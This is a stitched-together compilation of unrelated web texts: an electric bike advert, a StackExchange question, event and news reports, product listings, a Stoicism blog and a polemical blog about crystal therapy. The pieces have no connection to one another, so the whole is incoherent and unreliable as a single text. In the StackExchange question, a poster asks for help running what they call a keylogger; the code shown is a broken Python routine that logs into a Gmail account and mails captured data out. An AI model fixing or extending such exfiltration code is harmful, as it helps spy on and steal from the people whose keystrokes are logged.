All our models can be adjusted to electric, but the ICON is the ultimate electric bike from Republic Dutch. Some current users call it the Rolls Royce of commuter bikes. It's incredibly fast and can hit speeds up to 28 kph. Also extremely comfortable, soaking up bumps in the road while still staying on course. What most electric bikes can't do, the ICON can.
We chose the BOSCH performance line to drive the ICON beast forcefully forward. The 500 watt powerpack battery suplies enough power to have a strong radius up to 180 kilometers. With only the best high-quality parts used, the combined quality parts give you the full ICON experience. An experience you won't forget or can get elsewhere according to our users!
In combination with internal hub gear from Shimano Alfine 8 or 11 speed to add comfort to your ride. The stretched seat position underlines the sporting origin. The ICON with a drive train perfect for good speed and excellent comfort for work-to-home usage especially in city's or between towns.
A Shimano hydraulic disk brake system at front and read wheel provides you with the power to stop in every situation. The integrated navigation system is a nice touch and luxury on this amazing bicycle of the future. The ICON electric bike is an alternative for all those who are not familiar with a conventional urban bike.


text:
Q: I have imported all required packages but i am still not able to run this keylogger from smtpd import SMTPServer
import smtplib, ssl

def sendEmail(message):
    smtp_server = "smtp.gmail.com"
    port = 465
    sender_email = "fakemail@gmail.com"
    password = "password"
    receiver_email = "fakemail@gmail.com"

    context = ssl.create_default_context()

try:
    server = smtplib.SMTP(smtp_server,port)
    server.ehlo()
    server.starttls(context=context)
    server.ehlo()
    server.login(sender_email, password)
    server.sendmail(sender_email, receiver_email, message)

except Exception as e:
        print(e)
finally:
        server.quit()

got this error while running the code
name 'smtp_server' is not defined
Traceback (most recent call last):
  File "/Users/dhruvsahgal/Desktop/dhruv_practice/project1/send_email.py", line 24, in <module>
    server.quit()
NameError: name 'server' is not defined

Please help me find out what the error is
I am running this on mac os in vs code

redpajama_set_name: RedPajamaStackExchange


On a chilly October night, 100 women from JUF's Young Women's City Council (YWC) got the inside scoop from four women who are living their dream: working for Oprah Winfrey.
On Oct. 18 at the Hotel Palomar Chicago, YWC offered the opportunity to spend an evening with four producers—Lindsay Feitlinger, senior producer for The Rosie Show, Cindy Mori, vice president of booking and talent relations for Harpo Studios, Dana Brooks Reinglass, co-executive producer at Harpo Studios and executive producer of Oprah's Lifeclass, and Jill Van Lokeren, executive vice president and executive producer of development broadcast and cable for Harpo Studios— who were all part of the historic 25th season of The Oprah Winfrey Show.
Julie Novack, YWC chair, moderated the discussion, asking the panelists what it was like to work at their dream jobs, to work with Oprah, to go from behind the scenes to in front of the cameras, which celebs are the toughest and more.
So how did these four women end up working at their dream job?
Brooks Reinglass shared the story of her first interview—all she ever wanted to do was work for Oprah, and she was so emotional over the opportunity to get her dream job that she cried during her interview. Convinced she'd blown her chance, she sent an onion along with a thank you note explaining that she had found it in her pocket and that this was responsible for her emotional outburst. Soon after, she got a call back—and the rest is history.
The producers also shared stories about the perks of working for Oprah—family vacations, the celebrities, and doing what they love—and some of the tribulations—the long, hard work days, time away from their families, and the pressure to always been on top of their game.
One major change for them was during the show's final season, which finished up in May, when the cameras were turned, and viewers were invited to look behind-the-scenes at the making of the show's final season on OWN. The panelists, especially Van Lokeren, found themselves getting recognized on the streets. The 25th season culminated with a huge event which featured 35 A-List celebrities, 13,000 at the United Center and a surprised and tearful Oprah.
The four women have now moved on to the next chapter of their work with Oprah through new projects on the Oprah Winfrey Network (OWN), including The Rosie Show.
For more information about JUF's Young Women's City Council visit www.juf.org/women.


text:
BRAND & DIGITAL
Sustainable Investment in the Outdoors
University of West England Estates team appointed Upcircle to design the courtyards of the University campus, taking in consideration that the studio respects the principles of sustainability and the circular economy on every project they embark on.
Resources were efficiently used, materials and waste were recycled and value was crated in collaboration with other organisations. To reduce waste, UWE undertook initial intense cleaning, designed supplementary elements with reclaimed wood and selected new sustainable furniture.
UWE's intention was to transform and revitalise areas that were barely used and to revive some key spaces around the campus. The challenge was to complete the works with a tight schedule at an affordable cost.
Sustainable smart solutions:
Bristol Wood Recycling Project
Upcycled scaffolding planks have been used to make new furniture. Bristol wood recycling Project is a social enterprise that has saved almost four and half thousand tons of wood from decaying in landfill. The organisation works to benefit the community and the environment, transforming waste into shared assets through an inclusive volunteering program. For more information, please visit: www.bwrp.org.uk
UWE Eat
Staying healthy is an UWE project to encourage a healthy and balanced diet. Students and staff can engage with this initiative by using planters on courtyards for growing herbs, vegetables and flowers. Gardening has proven to reduce stress and therefore increase well-being.
Windows and floor manifestations
Contrasting colours and bold shapes were used to brighten up the open spaces. The window and floor manifestation designs and colours were chosen with the objective of unifying the visual identity of different areas within the campus.
Recycled inclusive furniture
A selection of recycled plastic, steel hot-dip galvanised and bespoke furniture was used. All designed for a long-term durability. Strategically chosen original designs, using thoughtful and unique materials to bring colour and to revive the spaces. The seats have different heights to make it comfortable and accessible to a variety of users.
The renovation of the Frenchay courtyards took place in August 2018 transformed the outdoor areas into inspiring spaces for students and staff. The lively colours and planters help to improve the well-being of the university community.
The result of this project has been well received by the University Marketing team which has reported that the areas that previously were not been used, are now packed with students sitting outdoors and enjoying the campus.
ARUNDEL HOUSE: sustainable solutions on student accommodation
Creativity in the age of Coronavirus
UPCIRCLE INSIGHT: sustainable graphic design
info@upcircle.co.uk


text:
What You Need to Know About Sea Scout Award Eligibility
If you love Sea Scouting, you were probably elated about the February resolution to make Sea Scouting its own separate program. Previously a subset of Venturing, Sea Scouts will now enjoy the same status of other BSA programs, including awarding members with program-specific honors.
But what about Sea Scouts who were in the process of earning Venturing awards and recognitions when the February resolution was announced? As with previous BSA program changes, updates to award eligibility are phased in over time. In the past, Sea Scouts were eligible for several Venturing awards such as:
Venturing, Discovery, Pathfinder, and Summit
Quest, TRUST, and Ranger
Venturing Leadership Award (VLA)
Eligibility for these honors has been reviewed since the program's status change and we've got good news for Sea Scouts in the process of earning Venturing honors. Here's a glimpse of the Venturing award eligibility guidelines from the Sea Scouts' official webpage:
Sea Scouts, who are working on any of the Venturing awards and recognitions, will be "grandfathered" to complete those awards and recognitions until December 31, 2016. After that date, eligibility for Venturing awards and recognitions will be limited to registered Venturers. Any Sea Scout may dual-register in a Venturing Crew to maintain eligibility for Venturing awards. Likewise, any Sea Scout Ship (unit) may dual register as a Venturing Crew.
Venturing Leadership Awards are generally presented in the spring to recognize leadership service that occurred in the prior calendar year. A new Sea Scout Leadership Award has been approved, for use beginning in 2017, to recognize leadership service in 2016. Until then, Sea Scouts and Sea Scout leaders will continue to be eligible for the Venturing Leadership Award. Insignia for the Sea Scout Leadership Award will include the existing VLA knot, with Sea Scout miniature device, and neck ribbons with a Sea Scout pendant, similar to the existing VLA.
Be sure to head to the Sea Scouts' official webpage for the full details on eligibility for other advancement awards and recognitions, and learn about the new Unit Leader Award of Merit for Sea Scout Skippers!
Do you know any Scouts who have earned Venturing awards? Share your story with us in the comments!


text:
Time for women to sexualise men, says TV star Issa Rae
Cannes, France Published: Oct 18, 2018, 01.55 PM(IST)
This September 18, 2018 photo shows Issa Rae arriving for the 70th Emmy Awards at the Microsoft Theatre in Los Angeles. Photograph:( AFP )
Rae said she grew up in the 1990s watching lots of shows with black characters but that was "wiped away by reality TV".
Rising US star Issa Rae held her hand up Wednesday to sexualising men in her hit television series "Insecure", saying it was time for the "female gaze" to have its day.
The African-American writer and producer, who first broke through playing herself in the cult YouTube series "Awkward Black Girl", admitted she was all for the camera lingering longer on the glories of the naked male.
"Men are more sexualised in the series because we are seeing this through the female lens," she told TV executives at MIPCOM, the world's top entertainment showcase in Cannes, where she picked up its "Personality of the Year" award.
"When I am in the act myself I don't say, 'Ooh! Look at my body!' You are seeing what I see, what I am looking at. It is all very intentional. We are all always seeing titties and ass on screen, this is an opportunity to reverse that."
Rae, 33, admitted that her mother, "a good Christian woman", squirms when she watches parts of her HBO series.
"She hates it. The bad language, the sex... She'll say, 'Why did I even bother with parental control and having you not watching R-rated movies if you grow to make the things that you weren't allowed to watch?'"
Her mother is horrified
She was particularly shocked by "the threesome gone wrong experience in season two," Rae revealed.
"She called me after to say, 'You are basically making porn!'"
But Rae said she makes no apologies for "telling the truth" or seeing the world through the eyes of black women.
"What attracts people is we are telling the truth," she argued.
Nor is she afraid of exploring everyday racism in a world "whose default is white", she said.
"There is an idea that no one wants black women, that we are not considered desirable. Whether it is a myth or not it is something that permeates the world of dating.
"We are living it. Our writer's room is mostly black women... although there is one white guy. We are always telling him, 'Now you can see what it is like for us,'" she joked.
Which is why see she was so surprised to discover that 60 percent of her audience are white.
"That threw me way off," she declared.
"That must mean that even white people are tired of only watching white people and seeing everything from their point of view."
Black masculinity
But the success of "Grey's Anatomy" and "Scandal" creator Shonda Rhimes and shows like "Atlanta" proves that even internationally "the idea is not weird anymore to be watching all black people."
She said that when she began producers kept telling her shows needed to be "more multicultural, which meant add a white person.
"In society the default is white and we don't question it. It is very disheartening to feel that your experience doesn't matter," she said.
Even so Rae, whose father is Senegalese and whose mother is African-American, has been criticised for not being black enough - a subject she often addresses in her show.
It is one of many prickly issues that she tackles, including what she calls "the burden of masculinity for many black men".
"If a dude touches another dude's dick he is automatically gay in that mindset," one that many black women also share, she claimed.
Rae said that she was "building to (deal with) other types of sex" in "Insecure", but this was "a sensitive conversation in the black community. You cannot talk about black gay men without being accused of trying to eradicate the race... it is a very touchy topic."
Ana de Armas' cut-out spotted in trash outside Ben Affleck's home hours after their split
Donald Trump clemency likely for Lil Wayne, no pardons for Giuliani or Bannon - sources
Johnny Depp's co-star believes it will be 'criminal' if Disney drops him from 'Pirates of the Caribbean'
Kim Kardashian and Kanye West have stopped going for marriage counselling: Report


It all started with a great Bee Keeping Course at the Agricultural School in Imst, Tyrol, last year (2016). The course is pretty extensive; it took quite some time, but therefore you learn a lot. From experienced lecturers. It was a nice crowd all together with the participants as well. I can highly recommend this course!
Basically, my love for bees started earlier in live…! During my first years in live. With Maja. She has been an inspiration!


text:
Dazzling Chong
Purpose Coach, Speaker and Inspirational Entertainer
My Backstory and Journey
My Vision & Mission
Work With Dazzling
Career & Self Discovery Coaching
Remember Why You're Here
16/08/2016 09/01/2017 by Dazzling Chong
Schooling's compelling reason that served as a constant reminder right up to the Rio Games[/caption]
These are the wise words that were inked across Joseph Schooling's heart and soul during his Olympic journey. And even more so just last week, at the monumental Olympic Games Rio 2016, Men's 100m Butterfly Final. As I sit here at Changi Airport sipping on my hot Peach tea, I can only imagine the floodgate of tears and fanfare that greeted Singapore's national sports hero on Monday at an unearthly 5.30 am. Nonetheless, it was the least we could do (wait, I was curled up in my covers), given the sacrifices Schooling and family have made to jettison a tiny island overnight into global limelight that the SG F1 night race committee can only dream of.
I admit – I have never been prouder to be a Singaporean than such a time as this. These days I live vicariously through the victory of a man whose name I uttered as the top athlete (2013 SEA Games) to receive his cash award as part of the Multi-Million Dollar Award Programme (MAP) at Swissotel Merchant Court Hotel in honour of gold medalists for unremitting efforts of dedication. Decorum restrained me from pouncing on May Schooling for a wefie once she stepped on stage to receive it on her son's behalf. It would make me look desperate I figured, not to mention get me fired from my job as the emcee-singer for the appreciation lunch event. #ClaimToLameFame
The event organiser requested that I wear red for the special occasion in keeping with the SG dream team and of course, Chinese New Year auspicious 'ang pow' red.
While I am enjoying all the great press about our golden boy, I can't help but savour the significance of the two athletic journeys that ran parallel and converged at the same pool, side by side. It is no coincidence and gives me goosebumps just thinking about it. Schooling revels in a hero's welcome back home and Michael Phelps announces his retirement. To be honest, I have never been a big fan of Phelps or even Schooling simply because I am not one to live or die for sports. Yet, the synchronicity of their fight of life excites me to no end. The only time I caught the two swimmers was during the Olympics victory ceremony at the podium. Schooling was understandably nervous and excited. What struck me, however, was Phelps' countenance.
One would expect the most decorated Olympian of all time to look visibly upset or at least strained when a young upstart put a dent on his near perfect record. Nope, no trace of resentment detected. What shone through instead was peace, joy, love and gratitude, etched on the facial lines of suffering Phelps has gone through in recent years of tumult and chaos. By now, the internet is replete with reports of Phelps' destructive spiral two years ago before his good friend, NFL former player, Ray Lewis gave him a copy of "The Purpose Driven Life" written by Rick Warren. That was the turning point of Phelps' career AND life. Which also explains why he looked so joyful despite having the last gold medal snatched out of his grasp. Perhaps, it wasn't a vice-like grip to begin with. That day, a once drowning Phelps exemplified one thing.
Remember why you're here.
Suddenly, it was no longer about swimming or being the fastest man on the planet. In his days rehabilitating and getting his life back on track, Phelps' epiphany lay in the simple truth behind his wretched existence wrought with great emotional pain and angst – "There is a purpose for me on this planet." It is no coincidence that as he exits graciously and gracefully from competitive swimming, Schooling finds greater impetus and momentum to drive him towards breaking Phelps' world record. Already, he has carried over Phelps' legacy of inspiring many more to follow in his footsteps, not just his countrymen. In one incisive slice and by one decisive stroke, one man's intoxicating win was another's debilitating defeat. Yet, nothing could be further from the truth as Phelps declares his new life goals: "to build a family with Nicole" and help decrease the drowning rate in the world. Wow.
"This is the part of my life where I get to start this whole new chapter," Phelps said.
He remembered why he was here.
Phelps' identity was not tied up with his Olympian status. It was something bigger than him but it took one competition and four walls to show the world what the real Phelps was made of. Rio 2016 not only forged a special camaraderie between the two but rewrote world history, as well as, life history. Both are stories of personal triumph. Both are stories of hope, faith and courage. You may not be a swimmer or be headed for the Olympics but as Phelps has proven, it's not the sheer size of the win or loss in this case that matters but the step you take towards fulfilling your Purpose. As we lay aside our fears, medals and accolades bestowed by mere men, sometimes along with heavy hearts, we only have one thing that that unites all of us: The need to remain true to ourselves or risk floundering and dying.
The path to one's purpose is fraught with curve balls, adversity and surprises. The question is: will the same God that saved Phelps from the brink of despair direct your steps or mine today? Whatever situation you are facing today in your family, relationships or career, God has the answer just for you written in the Book of Life before the beginning of time. Our breakthrough is found not in a lifetime of pursuits but in the childlike question – "what am I really here for?" And as the Creator answers the cry of your heart, you can be assured that the next time the sea threatens to knock the wind outta your sails, you can remain steadfast and unwavering til you reach your port of calling.
Remember why you're here. Welcome home, Michael.
Coaching, Inspiration, Personality Profiling, Purpose-DrivenTagged butterfly stroke, defeat, Joseph Schooling, Michael Phelps, Olympics, purpose, purpose driven life, rick warren, rio 2016, Singapore, swimming, victory
Copyright 2016, Dazzling Chong
Career & Entrepreneurship Discovery
Personal Mastery Development


text:
console.warn(
  "The `twitter` package has been deprecated.\n" +
  "\n" +
  "To use the `Twitter` symbol, add the `twitter-oauth` package\n" +
  "and import from it.\n" +
  "\n" +
  "If you need the Blaze OAuth configuration UI, add\n" +
  "`twitter-config-ui` alongside `accounts-ui`."
);

redpajama_set_name: RedPajamaGithub


Mens Large The North Face Hydroseal Ski Gloves. Condition is Used. Some cracking on the material around the fingers but doesn't affect functionality at all!
North Face Base Layer / Fleece Small. Condition is Used No reserve Part of a large collection of cycling kit due to clear out, please see other items.
The North Face Snowboard /Ski Trousers Mens Small With Matching Belt. Condition is used. A few little marks on the ankles from where the trousers have been worn over time with the ski boots but ideal first pair of trousers for new skiers/boarders. Dispatched with Royal Mail 2nd Class. Selling because I have outgrown.
North Face Ladies Ski Jacket White - Size Medium. Condition is Used. There is a faint mark on the back of the jacket which is shown in the photo's but this may wash out. The jacket is very warm. There are 3 outside pockets and one inside.
The North Face Ladies Ski Jacket Size Medium with detachable hood. This ski jacket is really warm, a nice fleecy lining and snow skirt to keep you warm and dry and the snow out! Loads of useful pockets for goggles, phones, ski passes and also has Recco Avalanche Detection System.
New and Unworn Mens North Face Fourbarrel Dryvent Ski Jacket. XL. New With Tags. Condition is New with tags. RRP £270. Dispatched with Royal Mail 1st Class.
The North Face Ski Trousers, Salopettes Size Large. Condition is Used. No rips around the bottoms, all good.
Boys Blue north face Ski Jacket. Blue grey and black. XL. Would fit teenage boy. Great condition. Dispatched with Royal Mail 2nd Class.
north face salopettes Large Black. Condition is Used. Dispatched with Royal Mail 1st Class.
Size M. WOMENS snowboard trousers. Used but in very good condition.
This is a great pair of trousers by THE NORTH FACE. This is a waterproof, windproof and weather protection all in one. There is also a belt. There are great zip up pockets too. You will look very chic on the slopes this session.
Size large. This jacket is 100% genuine and was Originally bought from North face website for £300. With a sporty design and snow-specific features, this classic ski jacket is designed to protect you from wicked winter weather.
Men's North Face Black ski trousers 32in Adjustable Waist, 30in Leg, Front Zip Pockets. Condition is Used. Dispatched with Royal Mail 2nd Class.
Black North Face Ski Trousers Size S/P. Condition is Used. Dispatched with Royal Mail 2nd Class.
Mens Grey north face Hyvent ski jacket Size Medium. Condition is Used. Dispatched with Royal Mail 2nd Class.
The North Face Women's Ski / Snowboard trousers. Size M. Waist 30". Leg 30".
The inseam actually. The North Face website. Very good used condition, but there is one small 'nick' to the end of the right leg hem (see photos).
mens North Face ski jacket small. Condition used. Very good condition only been worn twice while skiing.
You are buying a pair of immaculate The North Face Ski Trousers ladies size large (approx. These are black and have a pink lining. They have the North fact logo on the front and rear of the trousers and are perfect. ).
Womens NORTH FACE black Gloves in size Small - Montana Goretex Warm. Excellent quality. Etip fingertips works with touchscreen devices. I bought these gloves just a couple of weeks ago, from the North Face store, for a skiing trip but I wore them for about 5 mins and decided I preferred skiing without gloves! Worn once so like new. Dispatched with Royal Mail 2nd Class. If you need sooner then let me know as I can upgrade postage.
The North Face - Men's Hyvent Ski & Snowboarding Trousers - Black - S. Condition is Used. Dispatched with Royal Mail 2nd Class. Had adjustable waist, 2 front and 3 back pockets, inseam leg vents and two cargo pockets.
The North Face Ladies Black Jacket With Detachable Hood- Size Large but id say that it'd fit a size 10/12. Condition is Used but in good condition. Dispatched with Royal Mail 2nd Class.
OFFERS WILL BE ACCEPTED The North Face Steep Series Salopettes Medium. Condition is Used. Dispatched with Royal Mail 1st Class. Some wear. No returns.
North face ski jacket xl. Condition is Used.It is black and grey , it has a snow skirt and h20 inner facility.Its a cracker jacket and really warm.. Dispatched with Royal Mail 1st Class.
North Face Code: T0A6TMJK3. Cost New £34.
Worn skiing once. Can take more photos if needed.
North Face Salopettes, Orange. Brand new with tags. Bought as an unwanted Xmas Present (I already have some). XL Youth/ Small mens. Would fit 30 waist comfortably. Grab a bargain!
NEVER WORN GREAT CONDITION. bought wrong size but too late to return. North Face Down Insulated Coat With Fur Hood. more pics or questions let me know :) Dispatched with Royal Mail 1st Class.
Fabulous ski/snowboarding/walking jacket in good condition. Grey with black piping and psychedelic lining. Removable faux fur trimmed hood with toggles to adjust. Some very minor wear to the piping which could be coloured in!!! - see pics but in overall great condition. Will be sent tracked and insured. Smoke free wearer and home. Dispatched with Royal Mail 2nd Class.
The North Face Exvert Pants "XL" Ski Snowboard Unisex Trousers Salopettes Black. Condition is Used, but good. Please take a look at my other items. If there's anything else you'd like to purchase, please let me know in advance of buying so that I can adjust pricing accordingly to save you money on postage.
BNWT The North Face Women's Presena Ski Snowboard Pants - Teaberry Pink RRP £160. Condition is New with tags. This season ski pants, Super cute bright coral/pink ski/snowboard pants, never worn, selling because I'm 5'2" so a little long on me, any questions get in touch! :-) Dispatched with Royal Mail 2nd Class.
mens north face ski jacket. Condition is Used. Dispatched with Royal Mail 1st Class. Size S. Some wear in tear as shown in photos. Blue/Grey colour.
Waterproof ski pants in very good condition as they were used infrequently. Size small is suitable for waist size 29 - 31 in. Suitable for all snowsports with plenty of pockets and an integrated gaiter to prevent snow getting in your boots.


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I have been reading a nice paper by Matthew Sharpe, published as chapter 3 in The Handbook of Virtue Ethics, edited by Stan van Hooft & Nafsika Athanassoulis (Acumen Publishing, 2014) (downloadable here), and have discussed its first three sections in my last post. Here I conclude my analysis of the paper, covering sections 4-6.
Another significant difference between Aristotle and the Stoics is that the former made a distinction between epistēmē (theoretical wisdom) and phronēsis (practical wisdom), and then between those two and technē (technical knowledge concerned with arts and crafts). But for the Stoics virtue is both technē and epistēmē. John Sellars, Sharpe reminds us, interprets this as suggesting that Stoic virtue is a kind of "performative art of living," a really nice concept, I think.
Here is a very insightful passage from Sharpe: "The Stoics' famous opposition to the pathē or passions — seemingly their greatest break with Aristotle — turns on the thought that passions like anger, fear, urgent desire (epithymia) and hatred each reflect and embody more or less unconditional psychological attachments to external things, as if they were necessary to our eudaimonia." Which, of course, they are not.
There is a whole new book on the virtue of courage in ancient Greece, which I intend to read as soon as possible and report on. Meanwhile, the fifth section of Sharpe's paper takes on this and related topics from a Stoic perspective.
Megalopsychia, then, is a species of courage, one of the four cardinal virtues of Stoicism, which elevated it to a much more prominent role than Aristotle did.
At the onset of this section Sharpe reminds us of a famous observation by Bernard Williams, one of the most prominent ethical philosophers of the 20th century. Williams pointed out that from the Greek / eudaimonic perspective, our modern moral philosophy would seem to be concerned with a narrow range of subjects, essentially falling under the single virtue of justice. Their concept of justice was much more enlarged, and this is even more so for the Stoics.
Proper actions (ta kathekonta), Impulses (hormai), Cases of endurance (hypomonai), and Distributions.
The four primary virtues, as is well known, are, respectively: Phronēsis (practical wisdom), Sophrosyne (temperance), Andreia (courage), and Dikaiosyne (justice).
Each of the primary virtues has a number of subordinated virtues. For instance, under practical wisdom we find good judgment, discretion, shrewdness, etc.; under temperance we have propriety, sense of honor, self-control; under courage the Stoics listed perseverance, confidence, magnanimity (see above); and under justice they included piety, kindness and sociability.
The Stoics went further, though, claiming for instance — rather counterintuitively, it must be said — that logic is a virtue. That's because dialectic, the activity of engaging in rational discourse, is more than just an activity, it is a type of excellence that ought to be cultivated. Even more so for the care with which one arrives at (rational) judgment, a logical (in the broader, Stoic sense of the word) skill of eminently practical importance.
This entry was posted in Ancient Stoicism, Virtue Ethics on July 23, 2015 by Massimo.
"There is a straightforward naturalistic interpretation of the connection between ethics and physics as well: the basis of the Stoic discipline of desire — i.e., the ability to recognize and accept what happens in the universe." Would the Stoics, then, see a politician's refusal to recognize and accept climate change as an ethical failing in the sense that it denies the virtue of "physics"? Is this part of Stoic virtue in any way related to scientism?
I wonder what a 'deliberate practice' for the craft of virtue, in the modern age, would look like.
ah, interesting question about scientism! No, I don't think there is a danger of that. I take the Stoic position as the eminently reasonable stand that living a eudaimonic life requires basic knowledge of how the world works, as well as of human nature. That doesn't reduce ethics to science, which is why they studied the three foundational fields ("physics," "logic" and ethics) together.
I think pretty of people deliberately practice virtue in the modern age. That certainly includes Stoics and Buddhists, and I would hope also a number of other religious or non-religiously affiliated people. Whether they would phrase it that way is a different issue, but not as relevant.
Hi Massimo. Very interesting. I'm trying to understand what is meant by virtue being contingent on understanding the whole purpose of nature. You call this a theological point, but obviously the Stoics regarded it as important for virtue, so it seems important to understand. At least for the historically interested.
Since the Stoic Cosmos simply cycles through infinity, 'purpose' can't mean something like a final goal toward which the whole Cosmos is working can it? So, I assume 'purpose', for the Stoics, means something like function–or things doing what it is their nature to do. So, the 'whole purpose' of nature would mean something like the 'primary function' of nature. Does this sound right?
Assuming I'm understanding Stoic 'purpose' here, is a well-functioning plant or animal really included in what is meant as the primary function of nature? Or is the primary function of nature more about the well functioning (rational) mind of (or logos in) humanity which reflects the universal logos?
Or, In other words, the oikeiōsis of a plant or animal seems pretty much restricted to self-preservation. The oikeiōsis of a virtuous human individual includes all of humanity. So, is it the case that virtue is more than the only and highest good for humanity–but is human virtue also the only and highest good (the primary function) of the Cosmos itself? What else could possibly be meant as the 'whole purpose' or primary function of the cosmos if not that? I know this sounds speculative—and I do have my own philosophical motives here, but I'd really like to know if this reflects what the Stoics were thinking as a matter of historical interest.
Bill, I think you got it pretty much right. Oikeiosis is a concept that has to do with proper function, and for the Stoics the universe was organized rationally (the Logos), so everything has a proper function. And the proper function of humans is to use reason and live socially. What I'm not sure of is whether one can talk about the proper function of the universe itself, since that would require some sort of external standard, but according to Stoic cosmology there is no such standard available.
Interestingly, this reminds me of Ungerer and Smolin's recent book, The Singular Universe and the Reality of Time. They argue that it is a mistake to apply what they see as local scientific laws, such as Newtonian mechanics, to the whole universe, because the universe doesn't exist inside another environment, thus violating the logic of how we have arrived at the formulation of physical laws to begin with. Several places in their book reminded me of the Stoic take, including their consideration of a pulsating universe always identical to itself. The latter is the Stoic cosmological model, though Ungerer and Smolin reject it, I think for good reasons.
Off topic, but Science Daily has a short article on causation and time which may be interesting and germane to any number of discussions here and at the salon.


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Something from The Week called The profound sadness of crystal therapy is a good conversation-starter about religion. The author, Matthew Walther, is a conservative Catholic dude. I don't believe crystals have magical healing powers, but I'm sure I understand them better than Walther. My point of view is that I'm into psychology, anthropology, and Asian religion stuff (zazen, tai chi). Just without the woo.
I am staring at one of the most bizarre and complicated charts you are ever likely to see outside the pages of a late-medieval alchemy manual. Fourteen rows of named colors are divided upon into four columns: "Energy," "Effect," "Chakra," and "Stone." To me, it reads like something out of the Official Advanced Dungeons & Dragons Dungeon Master's Guide. But for some people, this is a highly serious, indeed a quasi-religious document.
This is the chart he's talking about.
However, I recently special-interested in Tibetan Buddhism and Bon for a while, then I read the I Ching and started doing tai chi. I've read things by Alexander Shulgin and Terence McKenna, so I have Burning Man tendencies although I'm too autistic to actually want to go. And politics.
Anyway, that was not my reaction to the chart. It makes me wonder if the whole thing originates with the synesthesia of priests or shamans a long time ago.
The point is not to believe in crystals. The point is to understand why they would seem reasonable to someone else. You have to imagine what it would be like to believe in crystals and have all those associations internalized. Recently at Taco Bell, a crazy lady was explaining to a teenager that she was very confused about the colors. She knows red is stop and green is go, but what about the others? They're everywhere, y'know? What does it all mean it's all too much I can't take it.
Imagine that she went into seclusion and meditated and figured out what the colors mean by getting in touch with her synesthesia. Then she wrote it down. It would be a religious sect. In fact, this is a Bon viewpoint (Wonders of the Natural Mind: The Essence of Dzogchen in the Native Bon Tradition of Tibet).
There are particular techniques to produce the experience of light such as by looking at the sun, gazing into the sky, or doing the dark retreat. An easier way is to close our eyes and press our eyeballs slightly with our fingers so that we see the natural, self-arising light. This is the inner light. There is an infinite number of different visions we can see in this way, such as five-colored circles of light, light beads, images, stupas, or mandalas. Whatever is present in the mind can manifest as vision. When we project the light outwards, it manifests as the visible forms (people, houses, etc.) that we see. They are produced by the gross elements but their true quality is the pure light of the primordial condition. Likewise, inner sound manifests externally as music, noise, and so forth.
If you're really practicing that stuff, you'll be tracking any changes in your entoptic stuff, with implications for how your practice is going.
When Walther sees the same chart, he doesn't see much.
According to The New York Times, belief in the mystical healing properties of crystals is now "practically as common as drinking green juice and practicing yoga." The fact that I have no idea what "green juice" is and am not acquainted with a single practitioner of yoga gives you a sense of how cut off some of us are from the interests and habits of wealthy educated Americans in major metropolitan areas.
I have a hard time believing that a conservative Catholic who writes for the National Review doesn't have upper-class friends who like smoothies. Nobody at church is on a diet?
He says he doesn't know anyone who practices yoga, but that's because he's a religious wingnut who thinks yoga is a form of Satanism. And so are his friends.
Because let's face it: There is something profoundly sad about people so cut off from the frightening — but also more than occasionally achingly beautiful — reality of what it means to be human that they manage to convince themselves that a little piece of fossilized tree sap can help them have better relationships or just feel calmer.
He's shitting on people from the perch of Catholicism, which is a Real Religion. He means that in the sense that he thinks his magic is real, unlike their magic. His God is bigger than yours.
Forty percent of Americans believe in extra-sensory perception. One in three espouse confidence in telepathy; a quarter accept the reality of clairvoyance and astrology. Together we spend some $34 billion a year on alternative medicine, from aromatherapy to chiropractic to tantra. Meanwhile not even half of American Catholics are aware of what the Church teaches about Christ's Real Presence in the Blessed Sacrament. CEOs of luxury brands who cover their iPhones in shungite crystals are not the only sojourners in this confused and confusing age.
Those who without realizing it seek among the rocks and stones what others long ago found and some of us continue to find elsewhere deserve our sympathy — and our prayers.
What he's saying is that he's a condescending prick. He's a bully who grew up and learned some writing skills.
It's not surprising that adherents of crystal therapy seem to be predominantly coastal and in demanding jobs in high-stress industries like fashion and show business. Material Girl, Mystical World: The Now Age Guide to a High-Vibe Life, Ruby Warrington's recent crystal therapy memoir, is full of passages that almost brought me to tears. Most of these addressed what it's like to live in a world where you have no family and are busy trying to work very hard in a spiritually unedifying business while living in "a $4K-a-month shoebox infested with roaches and vermin" and going on "an endless round of blind 'friend dates' with similarly rootless people" and trying really hard not to hate yourself.
The thing is, he gets to write for The Week and now everybody knows how he looks down on New Age people. Any New Age reader would now be familiar with both perspectives. He managed to immerse himself in the other side enough to write a story about it, without learning anything. This is what it means to be closed-minded. Instead of confronting reality as an information-gathering exercise, neutrally, he can't get over the gratification of performing a dominance display.
In one of the sources he links, Melissa Matthews tries it herself.
Askinosie said that most beginners connect to a tumbled stone before advancing to raw crystals or jewelry. She advises setting your intention with each rock before reconnecting with it throughout the day, which can be done by wearing jewelry, performing a ritual, or even just carrying it with you. Deciding to go the beginner route with tumbled stones, I found a store in my area and had a quick consultation with the associate. As he explained the best crystals for my purposes, I couldn't help but wonder if he really bought into the whole thing. Having a serious discussion about how a rock could bring love into my life felt way too weird. I finally settled on three crystals based on what I was looking for: more energy, more love, and better productivity.
If you've associated the crystals with certain qualities you want to cultivate, and if playing with the crystals reminds you of those intentions, that's an effective mindfulness exercise.
I got tattoos of some lines (I Ching 53) and a circle (enso) to remind myself of things, which is just as arbitrary. With simple practices like that, I don't see what I'd gain by starting to drink wine and believe it literally becomes the Blood of Christ. Gross!
Wasn't he the one making fun of alchemy?
I went to Gonzaga debate camp in olden times, and I learned a lot there.
Isn't the American right talking back to the Pope about global warming? You can't tell American men nothin'.
The implication is that right wing Catholicism is a primitive folk religion. It's not preliterate, but it's not very literate. It's a cult where they removed everything about being nice.
Because they'll hate this comparison: it's a legitimate religion in the sense that ebonics is a legitimate language.
…Because the people of the southern African Middle Stone Age were anatomically modern, their brains too must have had the potential to be triggered in the same ways as those of people today. In certain circumstances, the refraction of light produced by crystals and shiny stones sets in train a neurological event that, if encouraged by the subject, leads to some sort of altered state of consciousness. That encouragement is developed by training and by concentration–by shutting out other sensory inputs. It is the technique used by a hypnotist when he or she asks a subject to concentrate on a sparkling ornament or a swinging pendulum.
We emphasize two points. First, the effects of the sorts of stones we are discussing are not automatic. Although every brain has the potential to be affected and to move into an altered state, the desire that this should happen is conditioned by social circumstances. For whatever reasons, the subjects' society must value altered states. Second, our argument is not a simple analogy between people of today and those who lived in the Middle Stone Age; rather, we work from a link that is built into the human brain.
Walther is emotionally cut off from the possibility of religious experience, so he has the Catholicism of a conquistador.
